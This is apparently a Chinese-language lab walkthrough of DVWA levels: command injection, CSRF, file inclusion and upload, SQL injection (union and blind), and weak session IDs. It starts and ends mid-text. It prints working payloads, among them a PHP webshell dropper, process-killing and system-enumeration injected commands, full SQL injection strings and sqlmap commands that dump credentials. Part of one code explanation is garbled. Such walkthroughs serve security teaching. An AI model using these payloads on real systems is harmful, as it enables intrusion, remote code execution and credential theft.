1.输入127.0.0.1 && net user来获取 系统中所有的用户。从而可以实施攻击。
2.输入”127.0.0.1 && systeminfo“ ,得到系统硬件信息等
还可以上传病毒
127.0.0.1 & taskkill /f /fi "pid ne 1"
第三关: CSRF(跨站请求伪造)
跨站请求伪造(Cross-Site Request Forgery,CSRF)是一种网络攻击方式,它利用用户已经在某个网站进行过认证的身份,通过伪造请求来执行未经用户授权的操作。攻击者通过欺骗用户,使其在不知情的情况下执行某些敏感操作,例如修改密码、发表言论、转账等。
CSRF攻击的核心在于攻击者能够构造恶意请求,并引导用户在受害者已经登录的情况下访问包含恶意请求的页面。一旦用户点击了这个页面上的触发请求的按钮或链接,浏览器会自动携带受害者的认证信息发送请求,从而实现攻击者预期的操作。为了防范CSRF攻击,开发者可以采取以下措施:
同源策略(Same Origin Policy): 浏览器的同源策略限制了一个页面只能请求同一域下的资源,从而减少了CSRF攻击的可能性。攻击者通常难以伪造出同一域的请求。
Anti-CSRF Token: 在用户登录时生成一个唯一的令牌(CSRF Token),将其嵌入到每个表单或请求中。服务器在接收到请求时验证令牌的有效性,如果令牌不匹配,则拒绝该请求。这样即使攻击者伪造请求,也无法获取有效的CSRF Token。
Cookie设置: 在Cookie中使用SameSite属性,限制第三方站点对Cookie的访问。设置为Strict或Lax可以在一定程度上减弱CSRF攻击。
双重提交Cookie: 将CSRF Token不仅存储在Cookie中,还通过表单的隐藏字段等方式在请求中传递,以增加令牌的安全性。
检查Referer: 服务器可以检查请求的Referer头部,但这并不是绝对可靠的防御手段,因为Referer头部有时会被浏览器省略或伪造。通过综合使用这些防御措施,开发者可以大大提高系统对CSRF攻击的抵抗能力。
poc:
POC是“Proof of Concept”的缩写,指的是概念验证或概念证明。在计算机安全领域,POC通常指的是一个漏洞利用的实际示例,用来证明该漏洞确实存在,并且可以被利用。POC可以是一个简单的代码片段、一个演示页面、一个脚本或者一个程序,其目的是演示特定漏洞的影响或者危害性。
在安全研究中,研究人员通常会编写POC来展示一个新发现的漏洞,以便其他人能够理解漏洞的工作原理,并验证其在真实环境中的有效性。POC也经常用于向厂商报告漏洞,以便他们能够及时修复。
综上所述,POC是漏洞利用的实际示例,用于证明漏洞的存在和危害性。
1.随便输入将更改的密码进行抓包,得到
2.抓包后可以看到能进行构造的poc
3.进行如图所示选项
点击复制,将攻击url复制到一个 新界面中后打开。
点击按钮即可完成攻击
4.直接放包后,用新密码即可完成登录。
第四关:File Inclusion(文件包含漏洞)
File Upload(文件上传漏洞)
我们先查看三个文件都分别是什么
file1:Hello admin
Your IP address is: 127.0.0.1
file2:“I needed a password eight characters long so I picked Snow White and the Seven Dwarves.” ~ Nick Helm
file3:Welcome back admin
Your IP address is: 127.0.0.1
Your user-agent address is: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
You came from: http://localhost/DVWA/vulnerabilities/fi/?page=include.php
I’m hosted at: localhost
发现没有什么重要的东西,我们将url中的参数更改一下,比如我们查看一下他的/etc/passwd文件。
文件包含是在url通过GET传参的方式获取文件,我们用 / 查看一下上下级目录,发现可以直接获取服务器文件路径。输入?page=…/…/phpinfo.php 可以看到php的具体信息。
1.在C盘创建一个txt文件,命名为h.txt;成功输出。
成功输出h.txt文件内容 只有php文件会解析运行。其他的只会原封不动的输出出来。
利用漏洞
1.新建 txt文件上传一句话木马,进入文件上传File Upload,进行木马文件上传。
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?>
2.上传成功,并复制下路径,复制链接 …/…/hackable/uploads/pp.php到文件包含,发现没有报错,文件解析成功。
- 根据路径到dvwa的文件包括目录,发现生成了shell.php文件。
4. 5.打开蚁剑,添加链接,把地址带有木马shell.php的链接复制过来,密码就是我们木马post里面写的的密码pass,直接连接。
第五关:Insecure CAPTCHA(不安全的验证码)
1.查看源码
当step==2的时候,他才会进行到第二部分,就是更改密码。使用bp抓包,修改step参数为2
成功通过验证。
第六关:SQL Injection(SQL注入)
1.输入User ID显示对应的name,并且输入的ID值在URL栏中
2、猜测 可能通过ID值带入数据库中进行查询,判断是否存在注入
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1 and 1=2 &Submit=Submit#
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1' &Submit=Submit#
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1' -- qwe &Submit=Submit#
存在注入点,且单引号闭合
3、判断字段数,order by 5【使用二分法】
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1' order by 5 -- qwe &Submit=Submit#
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1' order by 3 -- qwe &Submit=Submit#
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1' order by 2 -- qwe &Submit=Submit#
字段数为2
4、联合注入,观测显示位【回显点】
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=12313' union select 1,2 -- qwe &Submit=Submit#
5、查看当前数据库的版本号,及当前数据库名
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=12313' union select version(),database() -- qwe &Submit=Submit#
6、输出当前数据库下的所有表名
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=12313' union select version(),group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe &Submit=Submit#
7、查询users表下面的所有字段名
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=12313' union select version(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- qwe &Submit=Submit#
8、查询users 表中的user、password字段数据
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=12313' union select user,password from users limit 0,1 -- qwe &Submit=Submit#
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=12313' union select user,password from users limit 3,1 -- qwe &Submit=Submit#
第七关: SQL Injection (Blind)
原理:在服务器没有错误回显的时候完成的注入攻击。服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”,总的来说就是在注入过程中,sql语句拼接执行后,数据不能回显到前端页面,需要一些方法和测试进行判断尝试
布尔盲注:
–布尔很明显Ture跟Flase,也就是说它只会根据你的注入信息返回Ture跟Flase,也就是没有之前的显错信息(没有回显点)
时间盲注:
–界面返回只用一种:Ture。无论输入任何值,返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
$id = $_GET[ 'id' ];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid );
// Get results
$num = @mysqli_num_rows( $result );
if( $num > 0 ) {
echo '<pre>User ID exists in the database.</pre>';
}
else {
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
源代码讲解
1.用户输入处理: 代码通过
_
G
E
T
[
′
i
d
′
]
获取用户输入的用户
I
D
,并将其存储在变量
\_GET['id']获取用户输入的用户ID,并将其存储在变量
_GET[′id′]获取用户输入的用户ID,并将其存储在变量id中。
2.数据库查询: 代码构建了一个SQL查询语句,使用用户提供的ID从数据库中检索用户信息。查询语句被发送到数据库服务器执行。
3.查询结果处理: 代码通过mysqli_query()函数执行查询,并将结果存储在变量$result中。然后,通过mysqli_num_rows()函数获取结果集中的行数。
4.结果反馈:
如果查询结果中存在行数(即用户ID存在于数据库中),则向用户显示消息"User ID exists in the database.“。
如果查询结果中不存在行数(即用户ID不存在于数据库中),则向用户显示消息"User ID is MISSING from the database.”。并且将HTTP响应状态码设置为404 Not Found,告知客户端页面未找到。
数据库连接关闭: 最后,通过mysqli_close()函数关闭了与数据库的连接。
步骤
1.判断是否存在注入及注入的类型(基于布尔SQL盲注)
输入1asdf,返回User ID exists in the database,无报错证明是字符型的
输入1’,返回User ID is MISSING from the database,证明是单引号闭合
输入 1’ and 1=1 # ,输出 exists
输入 1’ and 1=2 # ,输出 MISSING,证明存在注入
2.猜数据库名
利用length()函数猜出数据库名的长度,1’ and length(database())=4 #,不报错,数据库名的长度为4
然后用ascii()函数和substr()函数,采用二分法猜数据库的名字。
输入1’ and ascii(substr(database(),1,1))>90 #,显示存在,说明数据库名的第一个字符的ascii值大于90;
输入1’ and ascii(substr(database(),1,1))<110 #,显示存在,说明数据库名的第一个字符的ascii值小于110;
输入1’ and ascii(substr(database(),1,1))=100 #,显示存在,ASCII的表去找对应的字母为d
输入1’ and ascii(substr(database(),2,1))>90 # 找第二个字母
重复以上步骤,得到库名为dvwa
3.猜表名
1’ and (select count(table_name) from information_schema.tables where table_schema=database())=2 #,输出exists
所以一共有两个表,我们先猜第一个表的长度
输入:1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #,输出MISSING
使用二分法 1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #,输出 exists
直到—— 1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,输出 exists,即第一个表名称字符长为9。
现在猜第一个表的第一个字母
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 #
直到—— 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #,即对应的字母为g
然后我们再去猜其他的8个字母,为u、e、s、t、b、o、o、k,该表名即为guestbook。
同理猜第二个表的名字,users
4.猜列名
就直接拿 users表为例了。
先猜表中的字段数目1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)=8 # (中间步骤省略了) 数目为 8
猜user表各个名称,按照常规流程,从users表的第1个字段开始,对其猜解每一个组成字符,获取到完整的第1个字段名称…然后是第2/3/…/8个字段名称。当字段数目较多、名称较长的时候,若依然按照以上方式手工猜解,则会耗费比较多的时间。当时间有限的情况下,实际上有的字段可能并不太需要获取,字段的位置也暂且不作太多关注,首先获取几个包含键信息的字段,如:用户名、密码…
【猜想】数据库中可能保存的字段名称
用户名:username/user_name/uname/u_name/user/name/…
密码:password/pass_word/pwd/pass/…所以说我们的命令就可以是 1’ and (select count(*) from information_schema.columns where table_schema=database() and table_name=‘users’ and column_name=‘user’)=1 #,输出exists
1’ and (select count(*) from information_schema.columns where table_schema=database() and table_name=‘users’ and column_name=‘password’)=1 #,输出exists
所以我们可以知道 users表中有 user和password。还可以试试别的
5.猜字段值
同样使用二分法来做,直接写最后一步了:
用户名的字段值:1’ and length(substr((select user from users limit 0,1),1))=5 #,输出exists
——说明user字段中第1个字段值的字符长度=5。
密码的字段值:1’ and length(substr((select password from users limit 0,1),1))=32 #,
——说明password字段中第1个字段值的字符长度=32(基本上这么长的密码位数可能是用md5的加密方式保存的)
然后再使用二分法猜解user字段的值:(用户名)
1’ and ascii(substr((select user from users limit 0,1),1,1))=xxx #(第一个字符)
1’ and ascii(substr((select user from users limit 0,1),2,1))=xxx #(第二个字符)
……
猜解password字段的值:(密码)
1’ and ascii(substr((select password from users limit 0,1),1,1))=xxx #(第一个字符)
……
6. 直接sqlmap爆库
手工盲注的时间耗费太大,我们可以直接使用sqlmap进行爆库
通过增加–technique参数指定注入技术,B表示布尔盲注
下面的命令可以得到系统中所有数据库
python sqlmap.py -u "http://192.168.101.66/bachang/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=n2nqkt6qqt524ehqmae57srcu6" --technique B -dbs
命令行输入以下命令,得到当前数据库
python sqlmap.py -u "http://192.168.101.66/bachang/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=n2nqkt6qqt524ehqmae57srcu6" --current-db
命令行输入以下命令,得到数据库dvwa的所有表
python sqlmap.py -u "http://192.168.101.66/bachang/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=n2nqkt6qqt524ehqmae57srcu6" --columns -D dvwa -T users
命令行输入以下命令,得到数据库dvwa表users的所有列
python sqlmap.py -u "http://192.168.101.66/bachang/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=n2nqkt6qqt524ehqmae57srcu6" --columns -D dvwa -T users
命令行输入以下命令,得到user和password字段的值
python sqlmap.py -u "http://192.168.101.66/bachang/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=n2nqkt6qqt524ehqmae57srcu6" --dump -D dvwa -T users -C "user,password"
第八关: Weak Session IDs(弱回会话IDs)
Weak Session IDs
简介:
用户登录后,在服务器就会创建一个会话(session),叫做会话控制,接着访问页面的时候就不用登录,只需要携带Sesion去访问。
sessionID作为特定用户访问站点所需要的唯一内容。如果能够计算或轻易猜到该sessionID,则攻击者将可以轻易获取访问限,无需录直接进入特定用户界面,进而进行其他操作。
用户访问服务器的时候,在服务器端会创建一个新的会话(Session),会话中会保存用户的状态和相关信息,用于标识用户。
服务器端维护所有在线用户的Session,此时的认证,只需要知道是哪个用户在浏览当前的页面即可。为了告诉服务器应该使
用哪一个Session,浏览器需要把当前用户持有的SessionID告知服务器。用户拿到session id就会加密后保存到 cookies 上,
之后只要cookies随着http请求发送服务器,服务器就知道你是谁了。SessionID一旦在生命周期内被窃取,就等同于账户失窃。
会话标识符是用于跟踪用户会话状态的一种机制,通常用于存储在用户访问网站时创建的 cookie 中。
以下是关于弱会话标识符的一些常见问题和建议:预测性或猜测性会话标识符: 如果会话标识符是基于易于猜测的模式生成的,或者是顺序递增的数字,那么攻击者可能会轻松地预测下一个有效的会话标识符,从而获取未经授权的访问权限。
会话标识符的长度: 会话标识符的长度应该足够长,以增加猜测攻击的难度。较短的会话标识符更容易被猜测到。
会话标识符的复杂性: 会话标识符应该包含足够的随机性和复杂性,以防止攻击者利用弱算法或简单模式进行破解。
安全传输和存储: 会话标识符应该通过安全的方式进行传输和存储,例如使用 HTTPS 协议传输,以及将会话标识符存储在安全的 cookie 属性中(例如 HttpOnly 和 Secure 属性)。
会话过期和重新验证: 确保会话在一段合理的时间后过期,并要求用户在一段时间后重新验证身份,以防止会话劫持和会话固定攻击。
会话管理: 实施良好的会话管理策略,包括限制同一用户同时活跃的会话数量,监视异常会话活动并及时采取措施等。
随机化和混淆: 如果可能的话,随机化会话标识符的生成方式,并在生成时引入一些混淆因素,以增加攻击者的难度。
low级别未设置过滤,直接用burp抓包,可以清楚的看到dvwaSesion的cookie,每重放一次,dvwaSesion增加一
1.首先抓包,复制该段